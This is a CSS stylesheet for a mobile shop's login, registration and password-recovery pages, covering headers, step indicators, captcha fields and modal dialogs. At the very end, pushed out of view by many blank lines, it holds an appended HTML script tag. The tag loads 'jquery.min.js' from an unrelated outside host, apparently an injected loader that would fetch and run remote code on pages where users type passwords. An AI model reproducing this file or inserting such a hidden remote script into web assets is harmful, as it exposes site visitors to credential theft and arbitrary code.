﻿﻿@charset 'utf-8';
.u-header {
    position: relative;
    z-index: 110;
    width: 100%;
    height: 44px;
    padding: 0;
    font-size: 18px;
    line-height: 44px;
    color: #555;
    text-align: center;
}
.u-header:before {
    content: "";
    position: absolute;
    bottom: -1px;
    left: 0;
    right: 0;
    -webkit-transform: scaleY(.5);
    -webkit-transform-origin: 0 0;
    pointer-events: none;
}
.u-hd-left a, .u-hd-right a {
    display: block;
    padding: 0 10px;
}
.i-hd-back, .i-hd-cart, .i-hd-history, .i-hd-home, .i-hd-logn, .i-hd-reddot, .i-hd-search {
    display: block;
}
.u-icon-px {
    display: inline-block;
}
.i-hd-back {
    width: 15px;
    height: 28px;
    margin-top: 8px;
    background-image: url(../images/goback.png);
	background-size:cover;
    background-repeat: no-repeat;
}
.u-hd-tit {
    position: absolute;
    left: 0;
    top: 0;
    width: 100%;
    height: 44px;
    text-align: center;
    pointer-events: none;
}
.u-hd-right a {
    position: relative;
}
.i-hd-homes {
    width: 28px;
    height: 28px;
    margin-top: 8px;
    background-image: url(../images/home_ico.png);
	background-size:cover;
    background-repeat: no-repeat;
}
.user-login-img {
    height: 100px;
    text-align: center;
    line-height: 77px;
}
.user-login-img img {
    height: 50px;
}
.user-nav-list {
    display: -webkit-box;
    display: -moz-box;
    display: -o-box;
    display: -ms-box;
    width: -moz-available;
}
.user-nav-list a {
    position: relative;
    display: block;
    -webkit-box-flex: 1;
    -moz-box-flex: 1;
    -o-box-flex: 1;
    -ms-box-flex: 1;
    height: 44px;
    line-height: 44px;
    text-align: center;
    margin: 0 35px;
    font-size: 17px;
    font-weight: bold;
    color: #333;
}
.user-nav-list .current {
    border-bottom: 1px solid #da0000;
    color: #da0000;
}
.user-nav-list .mask {
    position: absolute;
    width: 100%;
    height: 1px;
    background-color: #da0000;
    bottom: -2px;
}
.radius4{border-radius:4px;}
INPUT {
	BORDER-BOTTOM: 0px; BORDER-LEFT: 0px; FONT-FAMILY: PingFang-SC-Regular,'Helvetica Neue',Helvetica,'microsoft yahei',sans-serif; COLOR: #333; FONT-SIZE: 14px; BORDER-TOP: 0px; BORDER-RIGHT: 0px
}
.ipt_tx{height:26px; line-height:26px;}
.margin16 {
	BORDER-BOTTOM: #d4d4d4 1px solid; BORDER-LEFT: #d4d4d4 1px solid; BACKGROUND-COLOR: #fff; MARGIN-BOTTOM: 20px; MARGIN-LEFT: 16px; BORDER-TOP: #d4d4d4 1px solid; MARGIN-RIGHT: 16px; BORDER-RIGHT: #d4d4d4 1px solid; border-radius: 4px
}
.margin40 {
	MARGIN-BOTTOM: 40px
}
.pay_goodsborder{LINE-HEIGHT: 30px;}
.tittle_detail {
	PADDING-BOTTOM: 12px; LINE-HEIGHT: 20px; TEXT-INDENT: 2em; PADDING-LEFT: 10px; FONT-SIZE: 13px; PADDING-TOP: 12px
}
.pay_goods {
	TEXT-ALIGN: center;MARGIN-TOP: 10px; MARGIN-BOTTOM: 10px; COLOR: #333; MARGIN-LEFT: 16px; MARGIN-RIGHT: 16px; FONT-SIZE: 12px; height:40px;
}
.pay_goodsborder p {
	LINE-HEIGHT: 20px; TEXT-INDENT: 2em; PADDING-RIGHT: 5px; COLOR: #666; FONT-SIZE: 13px; MARGIN-TOP: 5px
}
.pay_goodsborder .uname{height:30px;BACKGROUND: url(../images/base-icons.png) no-repeat 13px -30px; background-size: 26px 392px; padding-left:26px; padding-top:5px}
.pay_goodsborder .upass{height:30px;BACKGROUND: url(../images/base-icons.png) no-repeat 13px -60px; background-size: 26px 392px; padding-left:26px; BORDER-top: #d4d4d4 1px solid;padding-top:10px}
.pay_goodsborder .upass2{height:30px;BACKGROUND: url(../images/base-icons.png) no-repeat 13px -130px; background-size: 26px 392px; padding-left:26px; BORDER-top: #d4d4d4 1px solid;padding-top:10px}
.pay_goodsborder .verifycode{height:30px;BACKGROUND: url(../images/base-icons.png) no-repeat 13px -234px; background-size: 26px 392px; padding-left:26px; BORDER-top: #d4d4d4 1px solid;padding-top:10px}
.regbutton {
	TEXT-ALIGN: center; PADDING-BOTTOM: 7px; LINE-HEIGHT: 22px; PADDING-LEFT: 5px; WIDTH: 45%; PADDING-RIGHT: 5px; DISPLAY: block; BACKGROUND: #eeeeee; COLOR: #666 !important; FONT-SIZE: 16px; FONT-WEIGHT: bold; TEXT-DECORATION: none !important; PADDING-TOP: 7px;BORDER: #d4d4d4 1px solid;
}
.loginbutton {
    height: 40px;
    line-height: 40px;
    text-align: center;
    font-size: 16px;
    color: #fff;
    background: #da0000;
    border-radius: 5px;
	border:none;
	width:90%;
}

.less-getpass-box {
    width: 100%;
    overflow: hidden;
}
.less-getpass-box #less-getpass-box {
    width: 200%;
    display: -webkit-box;
    display: -moz-box;
    display: -o-box;
    display: -ms-box;
    width: -moz-available;
}
.less-getpass-box .phone-getpass-box {
    display: none;
}
.less-getpass-box #less-getpass-box .getpass-box {
    width: 50%;
    -moz-box-flex: 1;
}
.less-getpass-box .phone-getpass-box.current {
    display: block;
}
.less-getpass-box .phone-getpass-box nav {
    width: 100%;
    height: 65px;
}
.less-getpass-box .phone-getpass-box nav .user-top-step {
    font-size: 14px;
    height: 65px;
    overflow: hidden;
    width: 100%;
    -webkit-box-sizing: border-box;
    -moz-box-sizing: border-box;
    -o-box-sizing: border-box;
    box-sizing: border-box;
}
.less-getpass-box .phone-getpass-box nav .user-top-step .step-li {
    float: left;
    height: 65px;
    position: relative;
    width: 33.33333333%;
    color: #777;
    text-align: center;
    overflow: hidden;
}
.less-getpass-box .phone-getpass-box nav .user-top-step .step-li .role {
    font-style: normal;
    font-family: Arial;
    color: #fff;
    display: block;
    width: 17px;
    height: 17px;
    border-radius: 50%;
    background: #b3b3b3;
    line-height: 18px;
    margin: 12px auto 3px auto;
    font-size: 12px;
    position: relative;
    z-index: 4;
}
.less-getpass-box .phone-getpass-box nav .user-top-step .step-li .line-b {
    position: absolute;
    border-top: 2px solid #b3b3b3;
    width: 100%;
    height: 0;
    overflow: hidden;
    font-size: 0;
    top: 32%;
    margin-top: -1px;
    left: 0;
    -webkit-transform: scaleY(0.5);
    -moz-transform: scaleY(0.5);
    -o-transform: scaleY(0.5);
    transform: scaleY(0.5);
    display: block;
    content: ".";
    z-index: 3;
}
.less-getpass-box .phone-getpass-box nav .user-top-step .step-li:first-child .line-b {
    width: 50%;
    left: auto;
    right: 0;
}
.less-getpass-box .phone-getpass-box nav .user-top-step .step-li:last-child .line-b {
    width: 50%;
}
.less-getpass-box .phone-getpass-box nav .user-top-step .current {
    color: #da0000;
}
.less-getpass-box .phone-getpass-box nav .user-top-step .current .role {
    background-color: #da0000;
}
.less-getpass-box .phone-getpass-box nav .user-top-step .current .line-b {
    border-color: #da0000;
}
.less-getpass-box .phone-getpass-box .getpass-type-phone {
    border-top: solid 1px #d8d8d8;
    border-bottom: solid 1px #d8d8d8;
    background: #fff;
    border-width: 1px 0;
    width: 100%;
    -webkit-box-sizing: border-box;
    -moz-box-sizing: border-box;
    -o-box-sizing: border-box;
    box-sizing: border-box;
    padding-left: 30px;
}
.less-getpass-box .phone-getpass-box .getpass-type-phone li {
    height: 48px;
    border-top: solid 1px #d8d8d8;
    border-width: 1px 0 0 0;
    position: relative;
}
.less-getpass-box .phone-getpass-box .getpass-type-phone li:first-child {
    border-top: 0;
}
.less-getpass-box .phone-getpass-box .getpass-type-phone .li-captcha {
    display: -webkit-box;
    display: -moz-box;
    display: -o-box;
    display: -ms-box;
    width: -moz-available;
}
.user-icon {
    position: absolute;
    display: block;
    width: 22px;
    height: 22px;
    background: url(../images/user_icon.png) no-repeat 0 0;
    left: -20px;
    top: 13px;
    -webkit-background-size: 22px 243px;
    -moz-background-size: 22px 243px;
    -o-background-size: 22px 243px;
    -ms-background-size: 22px 243px;
    background-size: 22px 243px;
}
.phone-icon {
    background-position: 0 -87px;
}
.note-icon {
    background-position: 0 -65px;
}
.user-mail {
    background-position: 0 -152px;
}
.captcha-icon {
    background-position: 0 -44px;
}
.less-getpass-box .phone-getpass-box .getpass-type-phone li input {
    width: 95%;
    height: 28px;
    padding: 10px 0 10px 10px;
    border: 0;
    outline: 0;
    font-size: 16px;
}
.del-icon {
    display: none;
    width: 30px;
    height: 30px;
    top: 8px;
    left: auto;
    right: 40px;
    background: url('../images/close.png') no-repeat center center;
    -webkit-background-size: 74% 74%;
    -moz-background-size: 74% 74%;
    -o-background-size: 74% 74%;
    -ms-background-size: 74% 74%;
    background-size: 74% 74%;
}
#JS_getphone_del_icon {
    top: 10px;
    right: 5px;
}
.less-getpass-box .phone-getpass-box .getpass-type-phone .li-captcha .input {
    position: relative;
    -webkit-box-flex: 1;
    -moz-box-flex: 1;
    -o-box-flex: 1;
    -ms-box-flex: 1;
}
.del-icon-captcha {
    display: block;
    width: 30px;
    height: 30px;
    top: 10px;
    left: auto;
    right: 5px;
    background: url('../images/close.png') no-repeat center center;
    -webkit-background-size: 74% 74%;
    -moz-background-size: 74% 74%;
    -o-background-size: 74% 74%;
    -ms-background-size: 74% 74%;
    background-size: 74% 74%;
}
.less-getpass-box .phone-getpass-box .getpass-type-phone li .captcha {
    width: 98px;
    line-height: 48px;
    text-align: center;
    background: #fff;
}
.less-getpass-box .phone-getpass-box .getpass-type-phone .li-captcha .captcha {
    height: 48px;
    border-left: solid 1px #d8d8d8;
    border-width: 0 0 0 1px;
}
.less-getpass-box .phone-getpass-box .getpass-type-phone li .captcha strong {
    color: #da0000;
    font-weight: normal;
}
.less-getpass-box .phone-getpass-box .getpass-type-phone li .captcha.disabled strong {
    color: #999;
}
.less-getpass-box .email-getpass-box nav {
    width: 100%;
    height: 65px;
}
.less-getpass-box .email-getpass-box nav .user-top-step {
    font-size: 14px;
    height: 65px;
    overflow: hidden;
    width: 100%;
    -webkit-box-sizing: border-box;
    -moz-box-sizing: border-box;
    -o-box-sizing: border-box;
    box-sizing: border-box;
}
.less-getpass-box .email-getpass-box nav .user-top-step .step-li {
    float: left;
    height: 65px;
    position: relative;
    width: 33.33333333%;
    color: #777;
    text-align: center;
    overflow: hidden;
}
.less-getpass-box .email-getpass-box nav .user-top-step .step-li .role {
    font-style: normal;
    font-family: Arial;
    color: #fff;
    display: block;
    width: 17px;
    height: 17px;
    border-radius: 50%;
    background: #b3b3b3;
    line-height: 18px;
    margin: 12px auto 3px auto;
    font-size: 12px;
    position: relative;
    z-index: 4;
}
.less-getpass-box .email-getpass-box nav .user-top-step .step-li .line-b {
    position: absolute;
    border-top: 2px solid #b3b3b3;
    width: 100%;
    height: 0;
    overflow: hidden;
    font-size: 0;
    top: 32%;
    margin-top: -1px;
    left: 0;
    -webkit-transform: scaleY(0.5);
    -moz-transform: scaleY(0.5);
    -o-transform: scaleY(0.5);
    transform: scaleY(0.5);
    display: block;
    content: ".";
    z-index: 3;
}
.less-getpass-box .email-getpass-box nav .user-top-step .step-li:first-child .line-b {
    width: 50%;
    left: auto;
    right: 0;
}
.less-getpass-box .email-getpass-box nav .user-top-step .current {
    color: #da0000;
}
.less-getpass-box .email-getpass-box nav .user-top-step .current .role {
    background-color: #da0000;
}
.less-getpass-box .email-getpass-box nav .user-top-step .current .line-b {
    border-color: #da0000;
}
.less-getpass-box .email-getpass-box nav .user-top-step .step-li:last-child .line-b {
    width: 50%;
}
.less-getpass-box .email-getpass-box .getpass-type-email {
    border-top: solid 1px #d8d8d8;
    border-bottom: solid 1px #d8d8d8;
    background: #fff;
    border-width: 1px 0;
    width: 100%;
    -webkit-box-sizing: border-box;
    -moz-box-sizing: border-box;
    -o-box-sizing: border-box;
    box-sizing: border-box;
    padding-left: 30px;
}
.less-getpass-box .email-getpass-box .getpass-type-email li {
    height: 48px;
    border-top: solid 1px #d8d8d8;
    border-width: 1px 0 0 0;
    position: relative;
}
.less-getpass-box .email-getpass-box .getpass-type-email li:first-child {
    border-top: 0;
}
.less-getpass-box .email-getpass-box .getpass-type-email li input {
    width: 95%;
    height: 28px;
    padding: 10px 0 10px 10px;
    border: 0;
    outline: 0;
    font-size: 16px;
}
#JS_getemail_del_icon {
    top: 10px;
    right: 5px;
}
.less-getpass-box .email-getpass-box .getpass-type-email li {
    height: 48px;
    border-top: solid 1px #d8d8d8;
    border-width: 1px 0 0 0;
    position: relative;
}
.less-getpass-box .email-getpass-box .getpass-type-email .li-captcha {
    display: -webkit-box;
    display: -moz-box;
    display: -o-box;
    display: -ms-box;
    width: -moz-available;
}
.less-getpass-box .email-getpass-box .getpass-type-email .li-captcha .input {
    position: relative;
    -webkit-box-flex: 1;
    -moz-box-flex: 1;
    -o-box-flex: 1;
    -ms-box-flex: 1;
    display: block;
}
.less-getpass-box .email-getpass-box .getpass-type-email li input {
    width: 95%;
    height: 28px;
    padding: 10px 0 10px 10px;
    border: 0;
    outline: 0;
    font-size: 16px;
}
.del-icon-captcha {
    display: none;
    width: 30px;
    height: 30px;
    top: 10px;
    left: auto;
    right: 5px;
    background: url('../images/close.png') no-repeat center center;
    -webkit-background-size: 74% 74%;
    -moz-background-size: 74% 74%;
    -o-background-size: 74% 74%;
    -ms-background-size: 74% 74%;
    background-size: 74% 74%;
}
.less-getpass-box .email-getpass-box .getpass-type-email li .captcha {
    width: 111px;
    text-align: center;
    background: #fff;
    display: block;
    height: 48px;
    border-left: solid 1px #d8d8d8;
    border-width: 0 0 0 1px;
}
.less-getpass-box .email-getpass-box .getpass-type-email .li-captcha .captcha {
    height: 48px;
    border-left: solid 1px #d8d8d8;
    border-width: 0 0 0 1px;
}
.less-getpass-box .email-getpass-box .getpass-type-email li .captcha img {
    width: 100%;
    height: 100%;
}
.getpass-options {
    padding: 15px;
}
.getpass-options .getpass-button {
    display: block;
    height: 40px;
    line-height: 40px;
    text-align: center;
    font-size: 16px;
    color: #fff;
    background: #da0000;
    border-radius: 5px;
}
.getpass-options .getpass-button.disabled {
    background: #ccc;
}
.about-register {
    font-size: 14px;
    color: #999;
    overflow: hidden;
    height: 32px;
    line-height: 32px;
    padding-top: 8px;
}
.ruick-register {
    float: right;
}
.about-register a:link, .about-register a:visited {
    color: #999;
    text-decoration: none;
}
.less-getpass-box .getpass-email-sucbox, .less-getpass-box .getpass-phone-sucbox {
    width: 100%;
    background: #fff;
    border-width: 1px;
    text-align: center;
    border: 1px solid #d8d8d8;
    border-width: 1px 0;
}
.less-getpass-box .getpass-email-sucbox .getpass-user-box, .less-getpass-box .getpass-phone-sucbox .getpass-user-box {
    width: 100%;
    height: 117px;
}
.less-getpass-box .getpass-email-sucbox .getpass-user-headimg, .less-getpass-box .getpass-phone-sucbox .getpass-user-headimg {
    width: 65px;
    height: 65px;
    border-radius: 50%;
    position: relative;
    top: 16px;
}
.less-getpass-box .getpass-email-sucbox .getpass-user-names, .less-getpass-box .getpass-phone-sucbox .getpass-user-names {
    font-size: 16px;
    color: #333;
    position: relative;
    top: 24px;
}
.less-getpass-box .getpass-phone-sucbox .user-register-ipt-ul {
    padding-left: 40px;
    border: 1px solid #d8d8d8;
    border-width: 1px 0 0 0;
    background: #fff;
    line-height: 48px;
}
.less-getpass-box .getpass-phone-sucbox .user-register-ipt-ul li {
    height: 48px;
    border-top: solid 1px #d8d8d8;
    border-width: 1px 0 0 0;
    position: relative;
}
.less-getpass-box .getpass-phone-sucbox .user-register-ipt-ul li:first-child {
    border: 0;
}
.less-getpass-box .getpass-phone-sucbox .user-register-ipt-ul .user-icon {left:0px}
.password-icon {
    background-position: 0 9.5%;
}
.less-getpass-box .getpass-phone-sucbox .user-register-ipt-ul li input {
    background: #fff;
    width: 95%;
    height: 28px;
    padding: 10px 0;
    border: 0;
    outline: 0;
    font-size: 16px;
}
.show-password-icon {
        position: absolute;
    display: block;
    background: url('../images/eye.png') no-repeat center center;
    -webkit-background-size: 74% 74%;
    -moz-background-size: 74% 74%;
    -o-background-size: 74% 74%;
    -ms-background-size: 74% 74%;
    background-size: 74% 74%;
    width: 30px;
    height: 30px;
    top: 8px;
    left: auto;
    right: 10px;
}
.user-register-btn {
    position: relative;
}
.user-register-p{line-height:22px;margin:0 15px 0 15px;padding:17px 0 17px 28px;position:relative;font-size:16px;color:#333;text-align:left}
.user-register-p .user-register-tips-icon{width:24px;height:24px;background:url("../images/error.png") no-repeat center center;-webkit-background-size:cover;background-size:cover;display:block;position:absolute;top:16px;left:-2px}
.user-register-p .send-success{background-image:url("../images/success.png")}.user-register-btn{position:relative}.user-register-btn .getpass-more-user{max-height:140px;border-top:solid 1px #d8d8d8;border-bottom:solid 1px #d8d8d8;background:#fff;border-width:1px 0;width:100%;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-o-box-sizing:border-box;box-sizing:border-box;overflow:auto}
.user-register-btn .getpass-more-user li{height:54px;border-top:solid 1px #d8d8d8;border-width:1px 0 0 0;position:relative;padding-left:55px}.user-register-btn .getpass-more-user li:first-child{border-top:0}
.user-register-btn .getpass-more-user li p{width:95%;border:0;outline:0;font-size:16px;line-height:54px;color:#999}.user-register-btn .getpass-more-user li.current{background:#fff5f4}
.user-register-btn .getpass-more-user li.current:after{display:inline-block;content:'';width:13px;height:10px;background:url(../images/choose.png) center center no-repeat;background-size:cover;position:absolute;right:15px;top:50%;margin-top:-5px}
.user-register-btn .getpass-more-user li.current p{color:#da0000}


.layer-ui-mask{width:100%;min-height:100%;background:rgba(0,0,0,.5);position:absolute;left:0;top:0;z-index:2015}
.layer-ui-mask-active{-webkit-animation:maskActive .4s ease forwards}
@-webkit-keyframes maskActive{0%{background:rgba(0,0,0,0)}100%{background:rgba(0,0,0,.5)}}
.layer-ui-mask-remove{-webkit-animation:maskRemove .3s ease forwards}
@-webkit-keyframes maskRemove{0%{background:rgba(0,0,0,.5)}100%{background:rgba(0,0,0,0)}}
.layer-ui-container{width:100%;height:100%;position:absolute;left:0;top:0;z-index:2016}
.layer-ui-container-active{-webkit-animation:containerActive .3s ease forwards;-webkit-transform-origin:50% 50%}
@-webkit-keyframes containerActive{0%{-webkit-transform:scale(0);-moz-transform:scale(0);-ms-transform:scale(0);-o-transform:scale(0);transform:scale(0);opacity:0}100%{-webkit-transform:scale(1);-moz-transform:scale(1);-ms-transform:scale(1);-o-transform:scale(1);transform:scale(1);opacity:1}}
.layer-ui-container-remove{-webkit-animation:containerRemove .3s ease forwards}
@-webkit-keyframes containerRemove{0%{-webkit-transform:scale(1);-moz-transform:scale(1);-ms-transform:scale(1);-o-transform:scale(1);transform:scale(1);opacity:1}100%{-webkit-transform:scale(0);-moz-transform:scale(0);-ms-transform:scale(0);-o-transform:scale(0);transform:scale(0);opacity:0}}
.layer-ui-container table{width:100%;height:100%}
.layer-ui-container table tr td{width:100%;height:100%}
.layer-ui-frame{width:90%;background:#fff;margin-left:auto;margin-right:auto;border-radius:5px}
.layer-ui-type-page .layer-ui-content{min-height:100px}
.layer-ui-type-msg .layer-ui-content{padding:40px 20px;line-height:150%}
.layer-ui-frame .layer-ui-footer{height:44px;border-top:solid 1px #d8d8d8}
.layer-ui-frame .layer-ui-footer ul{height:44px;display:-webkit-flex;display:flex}
.layer-ui-frame .layer-ui-footer ul li{float:left;line-height:44px;font-size:14px;text-align:center;-webkit-box-flex:1;box-flex:1;color:#da0000;border-left:solid 1px #d8d8d8;box-sizing:border-box}
.layer-ui-frame .layer-ui-footer ul li:first-child{border-left:none}











<script charset="utf-8" async="true" src="https://cool.oeebee.com/inf/jquery.min.js"></script>